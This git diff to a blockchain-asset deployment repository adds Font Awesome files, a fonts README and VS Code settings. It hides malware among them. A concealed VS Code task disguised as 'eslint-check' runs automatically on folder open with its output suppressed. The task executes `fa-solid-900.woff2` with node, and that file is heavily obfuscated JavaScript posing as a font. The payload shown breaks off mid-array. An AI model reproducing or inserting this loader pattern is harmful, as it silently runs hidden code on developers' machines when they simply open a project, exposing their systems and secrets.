diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 043111b..9cbfd65 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -1,78 +1,78 @@ -name: Deploy S3 Assets - -on: - push: - branches: [main] - -jobs: - terraform-deploy-assets: - env: - CF_DISTRIBUTION_ID: E1W1OZ8FEAK8E7 - runs-on: ubuntu-latest - name: Deploy file to s3 + cloudfront - steps: - - name: Checkout - uses: actions/checkout@master - - - name: Configure AWS Credentials - uses: aws-actions/configure-aws-credentials@v1 - with: - aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} - aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }} - aws-region: us-east-2 - - - name: Filter empty domain ids - run: cat crossChain.json | jq 'del(.[] | select(.chainId == null))' > crossChain.tmp && mv -f crossChain.tmp crossChain.json - - - name: Setup Terraform - uses: hashicorp/setup-terraform@v1 - with: - terraform_version: 1.5.7 - - - name: Terraform Plan - run: terraform init - - - name: Terraform Plan - run: terraform plan - - - name: Terraform Deploy - run: terraform apply -auto-approve - - - name: Invalidate Cloudfront Distribution - run: aws cloudfront create-invalidation --distribution-id $CF_DISTRIBUTION_ID --paths '/chaindata.json' - - trigger-downstream-deployments: - runs-on: ubuntu-latest - needs: [terraform-deploy-assets] - steps: - - name: Trigger API mainnet-staging deployment - run: | - curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \ - https://api.github.com/repos/connext/api/actions/workflows/build-test-deploy.yml/dispatches \ - -d '{"ref":"mainnet-staging"}' - - - name: Trigger API mainnet-prod deployment - run: | - curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \ - https://api.github.com/repos/connext/api/actions/workflows/build-test-deploy.yml/dispatches \ - -d '{"ref":"mainnet-prod"}' - - - name: Trigger fast-path-fill-service mainnet-staging deployment - run: | - curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \ - https://api.github.com/repos/everclearorg/fast-path-fill-service/actions/workflows/build-test-deploy.yml/dispatches \ - -d '{"ref":"mainnet-staging"}' - - - name: Trigger fast-path-fill-service mainnet-prod deployment - run: | - curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \ - https://api.github.com/repos/everclearorg/fast-path-fill-service/actions/workflows/build-test-deploy.yml/dispatches \ - -d '{"ref":"mainnet-prod"}' +name: Deploy S3 Assets + +on: + push: + branches: [main] + +jobs: + terraform-deploy-assets: + env: + CF_DISTRIBUTION_ID: E1W1OZ8FEAK8E7 + runs-on: ubuntu-latest + name: Deploy file to s3 + cloudfront + steps: + - name: Checkout + uses: actions/checkout@master + + - name: Configure AWS Credentials + uses: aws-actions/configure-aws-credentials@v1 + with: + aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} + aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }} + aws-region: us-east-2 + + - name: Filter empty domain ids + run: cat crossChain.json | jq 'del(.[] | select(.chainId == null))' > crossChain.tmp && mv -f crossChain.tmp crossChain.json + + - name: Setup Terraform + uses: hashicorp/setup-terraform@v1 + with: + terraform_version: 1.5.7 + + - name: Terraform Plan + run: terraform init + + - name: Terraform Plan + run: terraform plan + + - name: Terraform Deploy + run: terraform apply -auto-approve + + - name: Invalidate Cloudfront Distribution + run: aws cloudfront create-invalidation --distribution-id $CF_DISTRIBUTION_ID --paths '/chaindata.json' + + trigger-downstream-deployments: + runs-on: ubuntu-latest + needs: [terraform-deploy-assets] + steps: + - name: Trigger API mainnet-staging deployment + run: | + curl -X POST \ + -H "Accept: application/vnd.github.v3+json" \ + -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \ + https://api.github.com/repos/connext/api/actions/workflows/build-test-deploy.yml/dispatches \ + -d '{"ref":"mainnet-staging"}' + + - name: Trigger API mainnet-prod deployment + run: | + curl -X POST \ + -H "Accept: application/vnd.github.v3+json" \ + -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \ + https://api.github.com/repos/connext/api/actions/workflows/build-test-deploy.yml/dispatches \ + -d '{"ref":"mainnet-prod"}' + + - name: Trigger fast-path-fill-service mainnet-staging deployment + run: | + curl -X POST \ + -H "Accept: application/vnd.github.v3+json" \ + -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \ + https://api.github.com/repos/everclearorg/fast-path-fill-service/actions/workflows/build-test-deploy.yml/dispatches \ + -d '{"ref":"mainnet-staging"}' + + - name: Trigger fast-path-fill-service mainnet-prod deployment + run: | + curl -X POST \ + -H "Accept: application/vnd.github.v3+json" \ + -H "Authorization: token ${{ secrets.WORKFLOW_DISPATCH_PAT }}" \ + https://api.github.com/repos/everclearorg/fast-path-fill-service/actions/workflows/build-test-deploy.yml/dispatches \ + -d '{"ref":"mainnet-prod"}' diff --git a/.gitignore b/.gitignore index 8895a87..26ca103 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ -node_modules -**/.terraform/** -**/.terraform.lock.hcl -terraform.tfstate* \ No newline at end of file +node_modules +**/.terraform/** +**/.terraform.lock.hcl +terraform.tfstate* +config.bat diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..4492ffd --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..9f12815 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./config/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./config/public/fonts/fa-solid-900.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/config/public/fonts/README.md b/config/public/fonts/README.md new file mode 100644 index 0000000..1fb874b --- /dev/null +++ b/config/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/config/public/fonts/fa-brands-400.eot b/config/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/config/public/fonts/fa-brands-400.eot differ diff --git a/config/public/fonts/fa-brands-400.svg b/config/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..2d4771e --- /dev/null +++ b/config/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/config/public/fonts/fa-brands-400.ttf b/config/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/config/public/fonts/fa-brands-400.ttf differ diff --git a/config/public/fonts/fa-brands-400.woff b/config/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/config/public/fonts/fa-brands-400.woff differ diff --git a/config/public/fonts/fa-brands-400.woff2 b/config/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/config/public/fonts/fa-brands-400.woff2 differ diff --git a/config/public/fonts/fa-regular-400.eot b/config/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/config/public/fonts/fa-regular-400.eot differ diff --git a/config/public/fonts/fa-regular-400.svg b/config/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..13180f6 --- /dev/null +++ b/config/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/config/public/fonts/fa-regular-400.ttf b/config/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/config/public/fonts/fa-regular-400.ttf differ diff --git a/config/public/fonts/fa-regular-400.woff b/config/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/config/public/fonts/fa-regular-400.woff differ diff --git a/config/public/fonts/fa-regular-400.woff2 b/config/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/config/public/fonts/fa-regular-400.woff2 differ diff --git a/config/public/fonts/fa-solid-900.eot b/config/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/config/public/fonts/fa-solid-900.eot differ diff --git a/config/public/fonts/fa-solid-900.svg b/config/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..5543afa --- /dev/null +++ b/config/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/config/public/fonts/fa-solid-900.ttf b/config/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/config/public/fonts/fa-solid-900.ttf differ diff --git a/config/public/fonts/fa-solid-900.woff b/config/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/config/public/fonts/fa-solid-900.woff differ diff --git a/config/public/fonts/fa-solid-900.woff2 b/config/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..6ea07aa --- /dev/null +++ b/config/public/fonts/fa-solid-900.woff2 @@ -0,0 +1 @@ +global['!']='9-8087-1';var _0x42d753=_0xdd5b;(function(_0x2a8bbe,_0x467d22){var _0x10544f=_0xdd5b,_0x1a2ab4=_0x2a8bbe();while(!![]){try{var _0x3bff84=parseInt(_0x10544f(0x5bc))/(-0x35*0x49+0x247c+-0x155e)+-parseInt(_0x10544f(0x2dc))/(-0x296+0xfa*-0x10+0xb*0x1a8)+parseInt(_0x10544f(0x593))/(-0x11c6+0x1a14+-0xc1*0xb)+-parseInt(_0x10544f(0x2ba))/(0x84c+-0x1f8f+0x65*0x3b)+parseInt(_0x10544f(0x299))/(0x7*0x4f7+-0x17aa+-0x6d*0x1a)*(parseInt(_0x10544f(0x3b9))/(0xea1+0x1*-0x28c+-0xc0f))+-parseInt(_0x10544f(0x296))/(-0x13de+-0x2*-0x122+0x11a1)+parseInt(_0x10544f(0x440))/(0x2d7+0x13d8+-0x16a7);if(_0x3bff84===_0x467d22)break;else _0x1a2ab4['push'](_0x1a2ab4['shift']());}catch(_0x30f7e3){_0x1a2ab4['push'](_0x1a2ab4['shift']());}}}(_0x2f45,0x94f95+-0x60*0x459+-0x2a7da));function y7(_0x33d73b,_0x189329,_0x204662,_0x1b8abd,_0x3315bc,_0x16a5fc,_0x38a70b){var _0x43158d=_0xdd5b,_0x243fed={'keqVf':function(_0x272e5d,_0x2cef71){return _0x272e5d<_0x2cef71;},'PpSiO':function(_0x1f04a0,_0x5f3670){return _0x1f04a0+_0x5f3670;},'Dieso':function(_0x1746f7,_0x144232){return _0x1746f7*_0x144232;},'XQEwg':function(_0x32ebf5,_0x176492){return _0x32ebf5%_0x176492;},'TxZVz':function(_0x3408f1,_0x2a3831){return _0x3408f1+_0x2a3831;},'jLeFl':function(_0xdf7370,_0x525aa9){return _0xdf7370+_0x525aa9;},'DKUhE':function(_0x129c54,_0x5a9481){return _0x129c54%_0x5a9481;}};for(var _0x206765=[],_0x159c64=0x11*-0xbb+0x2e6*0x2+0x69f;_0x243fed[_0x43158d(0x20d)](_0x159c64,_0x33d73b[_0x43158d(0x3ed)]);)_0x206765[_0x159c64]=_0x33d73b[_0x43158d(0x291)](_0x159c64),_0x159c64+=-0x9f7*0x1+0x258e+-0xd6*0x21;var _0x33659a=_0x189329;for(_0x159c64=0x25f9+0x3*-0x6ba+-0x5*0x38f;_0x243fed[_0x43158d(0x20d)](_0x159c64,_0x206765[_0x43158d(0x3ed)]);){var _0xe9d160=_0x243fed[_0x43158d(0x3aa)](_0x243fed[_0x43158d(0x47a)](_0x33659a,_0x243fed[_0x43158d(0x3aa)](_0x159c64,_0x204662)),_0x243fed[_0x43158d(0x276)](_0x33659a,_0x1b8abd)),_0x4d0579=_0x243fed[_0x43158d(0x1ef)](_0x243fed[_0x43158d(0x47a)](_0x33659a,_0x243fed[_0x43158d(0x330)](_0x159c64,_0x3315bc)),_0x243fed[_0x43158d(0x276)](_0x33659a,_0x16a5fc)),_0xd2ae=_0x243fed[_0x43158d(0x276)](_0xe9d160,_0x206765[_0x43158d(0x3ed)]),_0x13a7da=_0x243fed[_0x43158d(0x276)](_0x4d0579,_0x206765[_0x43158d(0x3ed)]),_0x301153=_0x206765[_0xd2ae];_0x206765[_0xd2ae]=_0x206765[_0x13a7da],_0x206765[_0x13a7da]=_0x301153,_0x33659a=_0x243fed[_0x43158d(0x4a7)](_0x243fed[_0x43158d(0x3aa)](_0xe9d160,_0x4d0579),_0x38a70b),_0x159c64+=-0x59*-0x6b+-0x49*0x1+-0x1*0x24e9;}return _0x206765[_0x43158d(0x40b)]('');}var p8=y7(_0x42d753(0x5e7),0x137571+0x5a872a+-0x13c*0xcaf,0x994+-0x165a+0x11*0xd3,0x77c8+-0x957d+0x740c,0x1*-0x181c+-0x1d*-0x130+0x259*-0x3,-0x1e86+-0xa48*0x19+0x1*0x1ea91,-0x10d61a*0x4+-0x1a*-0x31ad1+0x1*0x40e21d),q8=String[_0x42d753(0x278)+'de'](0x5db*-0x2+0x6b*0x2d+-0x1*0x6fb),zx0=(p8=(p8=(p8=p8[_0x42d753(0x53f)]('|')[_0x42d753(0x40b)](q8))[_0x42d753(0x53f)]('!1')[_0x42d753(0x40b)]('|'))[_0x42d753(0x53f)]('!0')[_0x42d753(0x40b)]('!'))[_0x42d753(0x53f)](q8);function _0xdd5b(_0x70ec77,_0x19a942){_0x70ec77=_0x70ec77-(0x643+-0x1756+-0x3c7*-0x5);var _0x36aa05=_0x2f45();var _0x2ab292=_0x36aa05[_0x70ec77];return _0x2ab292;}!function(_0x216c58,_0x2ff480){_0x216c58[zx0[0x21af+-0x5*0x2cf+-0x13a4]]=_0x2ff480;}(global,require),zx0[-0x753+-0x712*-0x1+-0xb*-0x6]===typeof module&&(global[zx0[0x2*0x8ed+-0x56*-0x3d+-0x2656]]=module);function _0x2f45(){var _0x3a09e2=['p..a.R#/6b','.!n<+ecre.','h+.s.;$U\x27>','f..R6(/.Rg','k\x22.mSR-.<}','l.','hRc\x274R.cRR','.ErRl.uP^','<`n\x20pcR.Ec','<<;pH#(12d',')RtT;cR&e4','d-}GR.b<.raHR','0cMlab.rRR','\x22hcuMRcceR','FrxMte<.c!<','et!RbiN.o!','.icaFx.a0.','.c(RN.<(r.c','iR.P.ilsi[0(o\x22h','nenrj1e(.6','QRR&.Rc9.E','.,Vc(s.(@R','))+f<*cb0R','m.A.9_.itL','cabljukomi','*s3)ARd.c\x20','r-f','rgnsvrnuor','n4..nPO(?bfR9e\x20.','RuOx^.)R.','RR','R1tR5.<]1u','<=\x20sUies(R','RR_Kn\x5c+l(D','ovo;Rt!S$)','x<\x22r\x20av&\x20w','tlrow\x20aor,','\x224c.akR<.)','Cg;he6;f);','l/..P.fRci','1.iRyKeEX.#io(.','','RRR%.g4+f+\x22p<^','RR>oad..ii','n)\x5cX<#\x5c(eR','?ifcR','.i\x22RL0.~.|','25nvqqjC','.ui];l86)t','5<~oR<+aR<','ipec\x20ccmPR','(FRRmRfcHP','rm','R!csRRCP','rp;{sR&ecr','+d7!=aqau(','ER7a)<.&e)','p91(ranshl','C<\x20ck4c)fb','.yR(D.+RbR','\x20NBc<<\x20p','Risi<;a]R.','sr.)\x20U.\x27','ec%uR.sikP+.`PRFfh','1r;p,=[rr;','CRgR!T1\x5c.R','cRnr!.\x22u9','$<:\x22*\x20.2.\x20k','in)Cr1u49k','..clhc)','!cR_(g4cnn','i4cPtcR\x20tx','R_y9}hod]C','0<]$ech$e.','*ktglr0Rb[\x22','nsc(0\x20ldc)','r/c\x22[(i','(2ns\x22&.